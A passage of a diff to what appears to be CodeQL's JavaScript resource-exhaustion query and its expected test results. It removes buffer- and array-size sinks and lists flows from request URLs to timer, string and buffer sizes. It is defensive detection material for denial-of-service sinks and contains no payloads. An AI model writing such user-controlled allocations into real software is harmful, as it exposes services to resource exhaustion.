DataFlow::ValueNode { - override EqualityTest astNode; - Expr x; - boolean polarity; - - TypeTestGuard() { - // typeof x === "number" sanitizes `x` when it evaluates to false - TaintTracking::isTypeofGuard(astNode, x, "number") and - polarity = astNode.getPolarity().booleanNot() + override predicate sanitizes(boolean outcome, Expr e) { + true = outcome and + e = astNode.getLesserOperand() or - // typeof x === "string" sanitizes `x` when it evaluates to true - TaintTracking::isTypeofGuard(astNode, x, any(string s | s != "number")) and - polarity = astNode.getPolarity() - } - - override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { - polarity = outcome and - e = x and - label instanceof Label::Number + false = outcome and + e = astNode.getGreaterOperand() } } @@ -94,60 +48,6 @@ module ResourceExhaustion { RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource } } - /** - * A node that determines the size of a buffer, considered as a data flow sink for resource exhaustion vulnerabilities. - */ - class BufferSizeSink extends Sink { - BufferSizeSink() { - exists(DataFlow::SourceNode clazz, DataFlow::InvokeNode invk, int index | - clazz = DataFlow::globalVarRef("Buffer") and this = invk.getArgument(index) - | - exists(string name | - invk = clazz.getAMemberCall(name) and - ( - name = "from" and index = 2 - or - name = ["alloc", "allocUnsafe", "allocUnsafeSlow"] and index = 0 - ) - ) - or - invk = clazz.getAnInvocation() and - ( - invk.getNumArgument() = 1 and - index = 0 - or - invk.getNumArgument() = 3 and index = 2 - ) - ) - or - this = DataFlow::globalVarRef("SlowBuffer").getAnInstantiation().getArgument(0) - } - - override string getProblemDescription() { - result = "This creates a buffer with a user-controlled size" - } - } - - /** - * A node that determines the size of an array, considered as a data flow sink for resource exhaustion vulnerabilities. - */ - class DenseArraySizeSink extends Sink { - DenseArraySizeSink() { - // Arrays are sparse by default, so we must also look at how the array is used - exists(DataFlow::ArrayConstructorInvokeNode instance | - this = instance.getArgument(0) and - instance.getNumArgument() = 1 - | - exists(instance.getAMethodCall(["map", "fill", "join", "toString"])) or - instance.flowsToExpr(any(AddExpr p).getAnOperand()) - ) - } - - override string getProblemDescription() { - result = "This creates an array with a user-controlled length" - } - } - /** * A node that determines the repetitions of a string, considered as a data flow sink for resource exhaustion vulnerabilities. */ @@ -159,8 +59,6 @@ module ResourceExhaustion { ) } - override DataFlow::FlowLabel getAFlowLabel() { any() } - override string getProblemDescription() { result = "This creates a string with a user-controlled length" } @@ -175,8 +73,6 @@ module ResourceExhaustion { this = LodashUnderscore::member(["delay", "throttle", "debounce"]).getACall().getArgument(1) } - override DataFlow::FlowLabel getAFlowLabel() { any() } - override string getProblemDescription() { result = "This creates a timer with a user-controlled duration" } diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected index 0260567be53..e3bb6853d19 100644 --- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected +++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected @@ -1,24 +1,4 @@ nodes -| documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | -| documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | -| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | -| documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | -| documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | -| documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | -| documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | -| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | -| documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | -| documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | | documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | | documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | @@ -28,99 +8,28 @@ nodes | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | -| resource-exhaustion.js:5:7:5:42 | s | -| resource-exhaustion.js:5:11:5:34 | url.par ... , true) | -| resource-exhaustion.js:5:11:5:40 | url.par ... ).query | -| resource-exhaustion.js:5:11:5:42 | url.par ... query.s | -| resource-exhaustion.js:5:21:5:27 | req.url | -| resource-exhaustion.js:5:21:5:27 | req.url | -| resource-exhaustion.js:6:7:6:21 | n | -| resource-exhaustion.js:6:11:6:21 | parseInt(s) | -| resource-exhaustion.js:6:20:6:20 | s | -| resource-exhaustion.js:12:21:12:21 | n | -| resource-exhaustion.js:12:21:12:21 | n | -| resource-exhaustion.js:13:21:13:21 | n | -| resource-exhaustion.js:13:21:13:21 | n | -| resource-exhaustion.js:14:16:14:16 | n | -| resource-exhaustion.js:14:16:14:16 | n | -| resource-exhaustion.js:15:22:15:22 | n | -| resource-exhaustion.js:15:22:15:22 | n | -| resource-exhaustion.js:16:26:16:26 | n | -| resource-exhaustion.js:16:26:16:26 | n | -| resource-exhaustion.js:18:14:18:14 | n | -| resource-exhaustion.js:18:14:18:14 | n | -| resource-exhaustion.js:20:20:20:20 | n | -| resource-exhaustion.js:20:20:20:20 | n | -| resource-exhaustion.js:22:18:22:18 | n | -| resource-exhaustion.js:22:18:22:18 | n | -| resource-exhaustion.js:27:9:27:9 | n | -| resource-exhaustion.js:27:9:27:9 | n | -| resource-exhaustion.js:28:13:28:13 | n | -| resource-exhaustion.js:28:13:28:13 | n | -| resource-exhaustion.js:29:9:29:9 | n | -| resource-exhaustion.js:29:9:29:9 | n | -| resource-exhaustion.js:30:9:30:9 | n | -| resource-exhaustion.js:30:9:30:9 | n | -| resource-exhaustion.js:31:9:31:9 | n | -| resource-exhaustion.js:31:9:31:9 | n | -| resource-exhaustion.js:32:9:32:9 | n | -| resource-exhaustion.js:32:9:32:9 | n | -| resource-exhaustion.js:34:12:34:12 | n | -| resource-exhaustion.js:34:12:34:12 | n | -| resource-exhaustion.js:35:12:35:12 | s | -| resource-exhaustion.js:35:12:35:12 | s | -| resource-exhaustion.js:37:14:37:14 | n | -| resource-exhaustion.js:37:14:37:18 | n * x | -| resource-exhaustion.js:37:14:37:18 | n * x | -| resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | -| resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | -| resource-exhaustion.js:45:24:45:24 | s | -| resource-exhaustion.js:46:14:46:22 | Number(s) | -| resource-exhaustion.js:46:14:46:22 | Number(s) | -| resource-exhaustion.js:46:21:46:21 | s | -| resource-exhaustion.js:50:14:50:14 | s | -| resource-exhaustion.js:50:14:50:21 | s.length | -| resource-exhaustion.js:50:14:50:21 | s.length | -| resource-exhaustion.js:55:16:55:16 | n | -| resource-exhaustion.js:55:16:55:16 | n | -| resource-exhaustion.js:58:7:58:20 | ns | -| resource-exhaustion.js:58:12:58:20 | x ? n : s | -| resource-exhaustion.js:58:16:58:16 | n | -| resource-exhaustion.js:59:14:59:15 | ns | -| resource-exhaustion.js:59:14:59:15 | ns | -| resource-exhaustion.js:66:16:66:16 | n | -| resource-exhaustion.js:66:16:66:16 | n | -| resource-exhaustion.js:70:16:70:16 | n | -| resource-exhaustion.js:70:16:70:16 | n | -| resource-exhaustion.js:81:17:81:17 | n | -| resource-exhaustion.js:81:17:81:17 | n | -| resource-exhaustion.js:82:17:82:17 | s | -| resource-exhaustion.js:82:17:82:17 | s | -| resource-exhaustion.js:83:18:83:18 | n | -| resource-exhaustion.js:83:18:83:18 | n | -| resource-exhaustion.js:84:18:84:18 | s | -| resource-exhaustion.js:84:18:84:18 | s | +| resource-exhaustion.js:9:7:9:42 | s | +| resource-exhaustion.js:9:11:9:34 | url.par ... , true) | +| resource-exhaustion.js:9:11:9:40 | url.par ... ).query | +| resource-exhaustion.js:9:11:9:42 | url.par ... query.s | +| resource-exhaustion.js:9:21:9:27 | req.url | +| resource-exhaustion.js:9:21:9:27 | req.url | +| resource-exhaustion.js:10:7:10:21 | n | +| resource-exhaustion.js:10:11:10:21 | parseInt(s) | +| resource-exhaustion.js:10:20:10:20 | s | +| resource-exhaustion.js:38:12:38:12 | n | +| resource-exhaustion.js:38:12:38:12 | n | +| resource-exhaustion.js:39:12:39:12 | s | +| resource-exhaustion.js:39:12:39:12 | s | +| resource-exhaustion.js:85:17:85:17 | n | +| resource-exhaustion.js:85:17:85:17 | n | +| resource-exhaustion.js:86:17:86:17 | s | +| resource-exhaustion.js:86:17:86:17 | s | +| resource-exhaustion.js:87:18:87:18 | n | +| resource-exhaustion.js:87:18:87:18 | n | +| resource-exhaustion.js:88:18:88:18 | s | +| resource-exhaustion.js:88:18:88:18 | s | edges -| documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | -| documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | -| documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | -| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | -| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | -| documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | -| documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | -| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | -| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | | documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | | documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | | documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | @@ -129,106 +38,31 @@ edges | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:6:20:6:20 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:35:12:35:12 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:35:12:35:12 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:45:24:45:24 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:46:21:46:21 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:50:14:50:14 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:82:17:82:17 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:82:17:82:17 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:84:18:84:18 | s | -| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:84:18:84:18 | s | -| resource-exhaustion.js:5:11:5:34 | url.par ... , true) | resource-exhaustion.js:5:11:5:40 | url.par ... ).query | -| resource-exhaustion.js:5:11:5:40 | url.par ... ).query | resource-exhaustion.js:5:11:5:42 | url.par ... query.s | -| resource-exhaustion.js:5:11:5:42 | url.par ... query.s | resource-exhaustion.js:5:7:5:42 | s | -| resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:5:11:5:34 | url.par ... , true) | -| resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:5:11:5:34 | url.par ... , true) | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:12:21:12:21 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:12:21:12:21 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:13:21:13:21 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:13:21:13:21 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:14:16:14:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:14:16:14:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:15:22:15:22 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:15:22:15:22 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:16:26:16:26 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:16:26:16:26 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:18:14:18:14 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:18:14:18:14 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:20:20:20:20 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:20:20:20:20 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:22:18:22:18 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:22:18:22:18 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:27:9:27:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:27:9:27:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:28:13:28:13 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:28:13:28:13 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:29:9:29:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:29:9:29:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:30:9:30:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:30:9:30:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:31:9:31:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:31:9:31:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:32:9:32:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:32:9:32:9 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:34:12:34:12 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:34:12:34:12 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:37:14:37:14 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:55:16:55:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:55:16:55:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:58:16:58:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:66:16:66:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:66:16:66:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:70:16:70:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:70:16:70:16 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:81:17:81:17 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:81:17:81:17 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:83:18:83:18 | n | -| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:83:18:83:18 | n | -| resource-exhaustion.js:6:11:6:21 | parseInt(s) | resource-exhaustion.js:6:7:6:21 | n | -| resource-exhaustion.js:6:20:6:20 | s | resource-exhaustion.js:6:11:6:21 | parseInt(s) | -| resource-exhaustion.js:37:14:37:14 | n | resource-exhaustion.js:37:14:37:18 | n * x | -| resource-exhaustion.js:37:14:37:14 | n | resource-exhaustion.js:37:14:37:18 | n * x | -| resource-exhaustion.js:45:24:45:24 | s | resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | -| resource-exhaustion.js:45:24:45:24 | s | resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | -| resource-exhaustion.js:46:21:46:21 | s | resource-exhaustion.js:46:14:46:22 | Number(s) | -| resource-exhaustion.js:46:21:46:21 | s | resource-exhaustion.js:46:14:46:22 | Number(s) | -| resource-exhaustion.js:50:14:50:14 | s | resource-exhaustion.js:50:14:50:21 | s.length | -| resource-exhaustion.js:50:14:50:14 | s | resource-exhaustion.js:50:14:50:21 | s.length | -| resource-exhaustion.js:58:7:58:20 | ns | resource-exhaustion.js:59:14:59:15 | ns | -| resource-exhaustion.js:58:7:58:20 | ns | resource-exhaustion.js:59:14:59:15 | ns | -| resource-exhaustion.js:58:12:58:20 | x ? n : s | resource-exhaustion.js:58:7:58:20 | ns | -| resource-exhaustion.js:58:16:58:16 | n | resource-exhaustion.js:58:12:58:20 | x ? n : s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:10:20:10:20 | s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:39:12:39:12 | s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:39:12:39:12 | s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:86:17:86:17 | s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:86:17:86:17 | s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:88:18:88:18 | s | +| resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:88:18:88:18 | s | +| resource-exhaustion.js:9:11:9:34 | url.par ... , true) | resource-exhaustion.js:9:11:9:40 | url.par ... ).query | +| resource-exhaustion.js:9:11:9:40 | url.par ... ).query | resource-exhaustion.js:9:11:9:42 | url.par ... query.s | +| resource-exhaustion.js:9:11:9:42 | url.par ... query.s | resource-exhaustion.js:9:7:9:42 | s | +| resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:9:11:9:34 | url.par ... , true) | +| resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:9:11:9:34 | url.par ... , true) | +| resource-exhaustion.js:10:7:10:21 | n | resource-exhaustion.js:38:12:38:12 | n | +| resource-exhaustion.js:10:7:10:21 | n | resource-exhaustion.js:38:12:38:12 | n | +| resource-exhaustion.js:10:7:10:21 | n | resource-exhaustion.js:85:17:85:17 | n | +| resource-exhaustion.js:10:7:10:21 | n | resource-exhaustion.js:85:17:85:17 | n | +| resource-exhaustion.js:10:7:10:21 | n | resource-exhaustion.js:87:18:87:18 | n | +| resource-exhaustion.js:10:7:10:21 | n | resource-exhaustion.js:87:18:87:18 | n | +| resource-exhaustion.js:10:11:10:21 | parseInt(s) | resource-exhaustion.js:10:7:10:21 | n | +| resource-exhaustion.js:10:20:10:20 | s | resource-exhaustion.js:10:11:10:21 | parseInt(s) | #select -| documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | This creates an array with a user-controlled length from $@. | documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | here | -| documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | This creates a buffer with a user-controlled size from $@. | documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | here | | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | This creates a timer with a user-controlled duration from $@. | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | here | -| resource-exhaustion.js:12:21:12:21 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:12:21:12:21 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:13:21:13:21 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:13:21:13:21 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:14:16:14:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:14:16:14:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:15:22:15:22 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:15:22:15:22 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:16:26:16:26 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:16:26:16:26 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:18:14:18:14 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:18:14:18:14 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:20:20:20:20 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:20:20:20:20 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:22:18:22:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:22:18:22:18 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:27:9:27:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:27:9:27:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:28:13:28:13 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:28:13:28:13 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:29:9:29:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:29:9:29:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:30:9:30:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:30:9:30:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:31:9:31:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:31:9:31:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:32:9:32:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:32:9:32:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:34:12:34:12 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:34:12:34:12 | n | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:35:12:35:12 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:35:12:35:12 | s | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:37:14:37:18 | n * x | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:37:14:37:18 | n * x | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:46:14:46:22 | Number(s) | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:46:14:46:22 | Number(s) | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:50:14:50:21 | s.length | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:50:14:50:21 | s.length | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:55:16:55:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:55:16:55:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:59:14:59:15 | ns | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:59:14:59:15 | ns | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:66:16:66:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:66:16:66:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:70:16:70:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:70:16:70:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:81:17:81:17 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:81:17:81:17 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:82:17:82:17 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:82:17:82:17 | s | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:83:18:83:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:83:18:83:18 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | -| resource-exhaustion.js:84:18:84:18 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:84:18:84:18 | s | This creates a timer with a 